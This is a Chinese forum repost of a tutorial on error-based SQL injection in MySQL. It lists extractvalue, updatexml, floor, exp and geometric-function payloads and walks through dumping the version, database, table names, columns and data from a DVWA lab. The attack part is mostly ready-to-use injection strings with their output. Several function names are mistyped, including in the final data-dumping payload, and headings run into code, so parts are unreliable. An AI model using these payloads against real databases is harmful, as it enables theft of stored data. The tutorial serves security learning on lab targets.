白发居士 发表于 2024-1-28 02:11:37

SQL报错注入

XPATH报错注入

extractalue(arg1,arg2)


[*]接受两个参数,arg1:XML文档,arg2:XPATH语句
[*]条件:mysql5.1及以上版本
[*]标准payload
1' and extractvalue(1,concat(0x7e,(select user()),0x7e))#xpath类似于一种html的标签语言
这里面的0x7e是波浪号,可以换成~、!、*、&等都可以


[*]返回结果
XPATH syntax error: '~root@localhost~'构造0x7e不符合xpath语法认为构造错误,使错误信息人为的显示出来
and extractvalue(1,concat(select user())
1' and extractvalue(1,concat(0x7e,(select user()),0x7e))#update(arg1,arg2,arg3)


[*]arg1为xml文档对象的名称;arg2为xpath格式的字符串;arg3为string格式替换查找到的符合条件的数据
[*]mysql 5.1.5以上的版本
[*]标准payload:
1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)#

[*]返回结果:XPATH syntax error: '~root@localhost~'
>注意,xpath报错注入的使用条件使数据库版本符合条件
>两种注入都有32位长度限制

## floor报错注入
了解一下
https://blog.csdn.net/weixin_45146120/article/details/100062786

## 列名重复报错注入
了解一下
https://www.cnblogs.com/cscshi/p/15705026.html

## 整形溢出报错注入
```sql
and exp(~(select * from (select user())a))#几何函数报错注入

select multipoint((select * from (select * from (select * from (select version())a)b)c))#使用报错注入进行注入

查看数据库版本

1' and extractvalue(1,concat(0x7e,(select version()),0x7e))#查看数据库名字

1' and extractvalue(1,concat(0x7e,(select database()),0x7e))#回显XPATH syntax error: '~dvwa~'
查看数据库有多少个表

1' and extractvalue(1,concat(0x7e,(select count(table_name)from information_schema.tables where table_schema=database()),0x7e))#回显XPATH syntax error: '~2~'
查看表名

1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e))#不加limit会显示Subquery returns more than 1 row
将limit(1,0)换成(2,0)(3,0)等等
或者我们可以选择group_concat(如果长度够的话)
1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))#回显XPATH syntax error: '~guestbook,users~'
查看有多少列

1' and extractvalue(1,concat(0x7e,(select count(column_name) from information_schema.columns where table_schema = database() and table_name = 'table_name'),0x7e))#回显XPATH syntax error: '~8~'
查看表里面有哪些列名

1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema = database() and table_name = 'table_name' limit 0,1),0x7e))#回显XPATH syntax error: '~user_id~'
1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'table_name'),0x7e))#回显XPATH syntax error: '~user_id,first_name,last_name,us'
发现显示不全
可以分页输出,后面再讲
查看数据

1' and extravalue(1,concat(0x7e,(select group_concat(列名)from 数据库名.表名),0x7e))#
来源:https://www.cnblogs.com/p1ggy/p/17991948
免责声明:由于采集信息均来自互联网,如果侵犯了您的权益,请联系我们【E-Mail:cb@itdo.tech】 我们会及时删除侵权内容,谢谢合作!
页: [1]
查看完整版本: SQL报错注入